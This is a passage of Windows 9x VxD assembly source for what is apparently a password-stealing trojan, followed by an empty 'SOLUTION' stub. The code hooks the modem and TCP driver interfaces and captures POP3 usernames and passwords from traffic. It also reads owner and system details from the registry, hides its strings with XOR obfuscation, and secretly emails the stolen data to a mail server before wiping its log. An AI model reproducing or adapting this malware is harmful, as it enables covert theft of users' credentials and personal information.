            mov edi, ValueName
    
            call DWordToStr                 ; Save the IP as the value name
    
            mov ax, 0A0Dh                   ; Save a <CR><LF>
            stosw
    
            mov esi, pBuffer
            mov ecx, BufferSize
            mov ebx, ecx
    
            mov eax, 'RESU'                 ; Search for USER
    
    USER_or_PASS_Loop:
            cmp dword ptr [esi], eax        ; Search for USER or PASS (in eax)
            je USER_or_PASS_Copy_Loop_Start
    
            inc esi
            dec ecx
            jz Pop3Log_Abort
            jmp USER_or_PASS_Loop
    
    USER_or_PASS_Copy_Loop_Start:
            add esi, 5                      ; Skip 'USER' and 'PASS'
    
    USER_or_PASS_Copy_Loop:
            cmp byte ptr [esi], 0Dh         ; Is <CR> here?
            jne Copy_USER_or_PASS
    
            cmp al, 'P'                     ; Is this a PASS copy?
            je Pop3Log_End                  ; Work done, finish log processing
    
            mov ax, 0A0Dh                   ; Save a <CR> between username & pass
            stosw
    
            mov eax, 'SSAP'
            jmp USER_or_PASS_Loop
    
    Copy_USER_or_PASS:
            movsb
            dec ecx
            jz Pop3Log_Abort
            jmp USER_or_PASS_Copy_Loop
    
    Pop3Log_Abort:
            xor eax, eax                    ; eax = 1 (error)
            inc eax
            ret
    
    Pop3Log_End:
            xor eax, eax
            stosb                           ; Null-terminate
            ret
    
    EndProc Pop3Log
    
    ;---------------------------------------------------------------------------;
    ; DWordToStr procedure - input ebx, edi                                     ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Input: ebx - dword                                                        ;
    ;        edi - lpstr                                                        ;
    ;                                                                           ;
    ; Output: edi - points to the next byte after the written string            ;
    ;                                                                           ;
    ; Preserves all registers, except edi                                       ;
    ;---------------------------------------------------------------------------;
    
    BeginProc DWordToStr
    
            pusha
    
            mov cx, 28
    
    Digit_Loop_Start:
            mov eax, ebx
    
            shr eax, cl
            and al, 0Fh
    
            add al, 48                      ; "0"
            cmp al, 57                      ; "9"
            jbe Digit_ok
    
            add al, 7                       ; convert 10 to A, 11 to B, etc
    
    Digit_ok:
            stosb
    
            sub cl, 4
            jge Digit_Loop_Start
    
            xor al, al
            stosb
    
            popa
    
            add edi, 8
    
            ret
    
    EndProc DWordToStr
    
    ;---------------------------------------------------------------------------;
    ; Sendmail procedure                                                        ;
    ;---------------------------------------------------------------------------;
    
    BeginProc Sendmail
    
            ; ZMH
    
            mov Disable, 1                  ; We are busy
    
            ; Check if there is something to mail
    
            xor eax, eax
            push offset32 dwTemp_1          ; lpcbValue
            push eax                        ; lpValue
            push eax                        ; lpSubKey
            push hOurKey                    ; hKey
    
            VMMCall _RegQueryValue
            add esp, 10h
    
            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jnz Abort_Mail_Alloc
    
            cmp dwTemp_1, 1                 ; There is no value there
            jbe Abort_Mail_Alloc
    
            ; Allocate mail buffer and create the message
    
            VMMCall _HeapAllocate, <MAIL_BUFFER_LENGTH, 0>
            or eax, eax                     ; zero if error
            jz Abort_Mail_Alloc
            mov [pMailBuffer], eax          ; address of memory block
            mov [MailPointer], eax
    
            mov esi, offset32 MailData_1
            mov edi, eax
            mov ecx, cbMailData_1
            add MailPointer, ecx
            rep movsb
    
            push offset32 dwTemp_1          ; phKey
            push offset32 CurrentVersionSubKey ; SubKey
            push HKEY_LOCAL_MACHINE
    
            VMMCall _RegOpenKey             ; Open the key
            add esp, 0Ch
    
            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jnz Abort_Mail
    
            mov ebx, offset32 sRegisteredOwner
            call QueryRegValue
    
            mov ebx, offset32 sRegisteredOrganization
            call QueryRegValue
    
            mov ebx, offset32 sSystemRoot
            call QueryRegValue
    
            mov ebx, offset32 sVersionNumber
            call QueryRegValue
    
            push dwTemp_1                   ; hKey
            VMMCall _RegCloseKey            ; Close the key
            add esp, 04h
    
            ; Start enumerating the values
    
            mov dwTemp_1, 0
    
    Enum_Loop:
            mov BufferSize, MAX_BUFFER_LENGTH
            push offset32 BufferSize        ; lpcbData
            push pBuffer                    ; lpbData
            push 0                          ; lpdwType
            push 0                          ; lpdwReserved
            mov eax, pMailBuffer
            add eax, MAIL_BUFFER_LENGTH
            mov ebx, MailPointer
            sub eax, ebx                    ; Calculate the free space in buffer
            mov dwTemp_2, eax
            push offset32 dwTemp_2          ; lpcchValue
            push MailPointer                ; lpszValue
            push dwTemp_1                   ; iValue
            push hOurKey                    ; hKey
    
            VMMCall _RegEnumValue           ; Get the value of the key
            add esp, 20h
    
            inc dwTemp_1                    ; dwTemp_1 = iValue + 1
    
            cmp eax, ERROR_NO_MORE_ITEMS
            je Enum_End
    
            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jne Abort_Mail
    
            mov esi, pBuffer
    
            mov edi, MailPointer
            add edi, dwTemp_2
    
            mov ecx, BufferSize
            rep movsb
    
            mov eax, 0A0D0A0Dh              ; Add two line breaks
            stosd
    
            mov MailPointer, edi
    
            jmp Enum_Loop
    
    Enum_End:
            mov esi, offset32 MailData_2
            mov edi, MailPointer
            mov ecx, cbMailData_2
            mov eax, ecx
            add eax, MailPointer
            sub eax, pMailBuffer
            inc eax
            mov SendDataLength, eax
            rep movsb
    
            ; Open address object
    
            push offset32 TdiAddressOption
            push 6                                  ; Protocol (TCP)
            push offset32 TransportAddress
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi]                    ; TdiOpenAddress
            add esp, 10h
    
            cmp eax, 0
            jnz Abort_Mail
    
            ; Save the address handle for future use
    
            mov eax, dword ptr Request
            mov AddressHandle, eax
    
            ; Open connection object
    
            push offset32 Context                   ; Context
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+8]                  ; TdiOpenConnection
            add esp, 8
    
            cmp eax, 0
            jnz Abort_Mail
    
            ; Save the connection context for future use
    
            mov eax, dword ptr Request
            mov ConnectionContext, eax
    
            ; Associate the connection context with the address handle
    
            push AddressHandle
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+10h]                ; TdiAssociateAddress
            add esp, 8h
    
            cmp eax, 0
            jnz Abort_Mail
    
            ; Connect to the mail host
    
            push offset32 RequestAddr
            push offset32 RequestAddr
            push 0                                  ; TO
            mov RequestContext, offset32 Send_1
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+18h]                ; TdiConnect
            add esp, 10h
    
            cmp eax, 0FFh                           ; If pending -> end proc
            ret
    
    Call_TDI_CallBack:
            push 0                                  ; ByteCount
            push eax                                ; FinalStatus
            push offset32 RequestContext            ; pContext
            call TdiMail_Callback
            add esp, 0Ch
            ret
    
    Abort_Mail:
            VMMCall _HeapFree, <pMailBuffer, 0>
    
    Abort_Mail_Alloc:
            xor eax, eax
            mov Disable, al
            mov TracedHandle, eax
            ret
    
    EndProc SendMail
    
    ;---------------------------------------------------------------------------;
    ; TdiMail_Callback                                                          ;
    ;---------------------------------------------------------------------------;
    
    BeginProc       TdiMail_Callback
    
            push ebp
            mov ebp, esp
    
            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> pContext
    ; ebp+0Ch -> FinalStatus
    ; ebp+10h -> ByteCount
    
            mov eax, [ebp+08h]              ; RequestContext
    
            or eax, eax
            je TdiMail_Callback_End
    
            mov ebx, [ebp+0Ch]              ; If error -> close connection
            or ebx, ebx
            jne Close_Connection
    
            jmp dword ptr eax               ; RequestContext points to code
    
    Send_1:
            mov RequestContext, offset32 Disconnect ; Pointer to next code
    
            mov eax, ConnectionContext      ; Get the ConnectionContext
            mov Request, eax
    
            push offset32 NDISBuffer
            push SendDataLength             ; Length
            push 0                          ; No flags
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+2Ch]        ; TdiSend
            add esp, 10h
    
            cmp eax, 0FFh                   ; If pending -> wait
            je TdiMail_Callback_End
    
            or eax, eax                     ; If error -> Close connection
            jnz Close_Connection
    
            jmp dword ptr [RequestContext]  ; If ok -> jump to next code
    
    Disconnect:
            ; Delete the default value (send is done)
    
            xor eax, eax
            push eax                        ; cbData
            push offset32 Zero              ; lpszData
            push REG_SZ                     ; fdwType
            push eax                        ; lpSubKey
            push hOurKey
    
            VMMCall _RegSetValue
            add esp, 14h
    
            mov eax, ConnectionContext
            mov Request, eax
    
            mov RequestContext, offset32 Close_Connection ; Pointer to next code
    
            xor eax, eax
            push eax                        ; ReturnInfo
            push eax                        ; DiscConnInfo
            push eax                        ; Flags
            push eax                        ; TO
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+1Ch]        ; TdiDisconnect
            add esp, 14h
    
            cmp eax, 0FFh                   ; If pending -> wait
            je TdiMail_Callback_End
    
    Close_Connection:
            VMMCall _HeapFree, <pMailBuffer, 0>
    
            xor ah, ah                      ; Undisable
            mov Disable, ah
    
            mov eax, AddressHandle
            mov Request, eax
    
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+04h]        ; TdiCloseAddress
            add esp, 4h
    
    TdiMail_Callback_End:
            popad
            popfd
    
            pop ebp
            ret
    
    EndProc         TdiMail_Callback
    
    ;---------------------------------------------------------------------------;
    ; QueryRegValue subroutine.                                                 ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; dwTemp_1                 x                                                ;
    ; pMailBuffer              x                                                ;
    ; MailPointer              x       x                                        ;
    ; dwTemp_2                         x                                        ;
    ;                                                                           ;
    ; Input: dwTemp_1 - opened key                                              ;
    ;        ebx      - lpszSubKey                                              ;
    ;                                                                           ;
    ; Returns: returns to Abort_Mail if there is an error                       ;
    ;---------------------------------------------------------------------------;
    
    BeginProc QueryRegValue
    
            mov eax, pMailBuffer            ; Calculate the free space in buffer
            add eax, MAIL_BUFFER_LENGTH-9
            sub eax, MailPointer
            mov dwTemp_2, eax
            push offset32 dwTemp_2          ; cbData
            push MailPointer                ; lpszData
            push REG_SZ                     ; fdwType
            push 0                          ; dwReserved
            push ebx                        ; lpszSubKey
            push dwTemp_1                   ; phKey
    
            VMMCall _RegQueryValueEx        ; Get the value of the key
            add esp, 18h
    
            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jne Abort_Query
    
            mov edi, pMailBuffer
            mov ecx, MAIL_BUFFER_LENGTH
            mov al, 0
            repnz scasb
            jnz Abort_Query
    
            dec edi
            mov eax, 0A0D0A0Dh              ; Add two line breaks
            stosd
    
            mov MailPointer, edi
    
            ret
    
    Abort_Query:
            pop eax                         ; Blah... Is approved by M$ as a
            push offset32 Abort_Mail        ; "good programming technique"? :-)
    
            ret
    
    EndProc QueryRegValue
    
    
    ;---------------------------------------------------------------------------;
    ; Control Proc                                                              ;
    ;---------------------------------------------------------------------------;
    
    BeginProc Control_Proc
            Control_Dispatch Device_Init, Do_Device_Init
            clc
            ret
    EndProc Control_Proc
    
    VxD_LOCKED_CODE_ENDS
    
    ;---------------------------------------------------------------------------;
    ; Initialization Code Segment                                               ;
    ;---------------------------------------------------------------------------;
    
    VxD_ICODE_SEG
    
    BeginProc Do_Device_Init
    
            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack
    
            mov edi, ASCIIStart
            mov ecx, ASCIILength
    
    Decode_Loop:                            ; Why 42...? :-)
            xor byte ptr [edi], 42
            inc edi
            loop Decode_Loop
    
            ; Allocate memory for the buffer
    
            VMMCall _HeapAllocate, <MAX_BUFFER_LENGTH, 0>
            or eax, eax             ; zero if error
            jz Abort
            mov [pBuffer], eax      ; address of memory block
    
            ; Hook VCOMM services
    
            GetVxDServiceOrdinal eax, _VCOMM_OpenComm
            mov esi, offset32 OpenComm_Hook
            VMMcall Hook_Device_Service
            jc Abort
    
            GetVxDServiceOrdinal eax, _VCOMM_WriteComm
            mov esi, offset32 WriteComm_Hook
            VMMcall Hook_Device_Service
            jc Abort
    
            GetVxDServiceOrdinal eax, _VCOMM_CloseComm
            mov esi, offset32 CloseComm_Hook
            VMMcall Hook_Device_Service
            jc Abort
    
            ; Make sure VTDI is present
    
            VxDcall VTDI_Get_Version
            jc Abort
    
            ; Get a pointer to the TCP dispatch table
    
            push offset32 TCPName
            VxDcall VTDI_Get_Info
            add esp, 4
    
            mov TdiDispatchTable, eax       ; Save the address of TdiDispatchTable
    
            ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
    
            mov ebx, [eax+0Ch]
            mov TdiCloseConnection_PrevAddr, ebx
            mov [eax+0Ch], offset32 TdiCloseConnection_Hook
    
            mov ebx, [eax+18h]
            mov TdiConnect_PrevAddr, ebx
            mov [eax+18h], offset32 TdiConnect_Hook
    
            mov ebx, [eax+1Ch]
            mov TdiDisconnect_PrevAddr, ebx
            mov [eax+1Ch], offset32 TdiDisconnect_Hook
    
            mov ebx, [eax+2Ch]
            mov TdiSend_PrevAddr, ebx
            mov [eax+2Ch], offset32 TdiSend_Hook
    
            ; Create/Open our key
    
            push offset32 hOurKey           ; phKey
            push offset32 OurKey            ; SubKey
            push HKEY_LOCAL_MACHINE
            VMMCall _RegCreateKey           ; Create/open "our" key
            add esp, 0Ch                    ; Clean after VMMCall
    
            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jnz Abort
    
            jmp Device_Init_End
    
    Abort:
            mov Disable, 1                  ; Disable hook operation
    
    Device_Init_End:
            popad                           ; restore registers on stack
            popfd                           ; restore flags on stack
    
            ret
    
    EndProc Do_Device_Init
    
    VxD_ICODE_ENDS
    
            END

SOLUTION

    Nothing yet.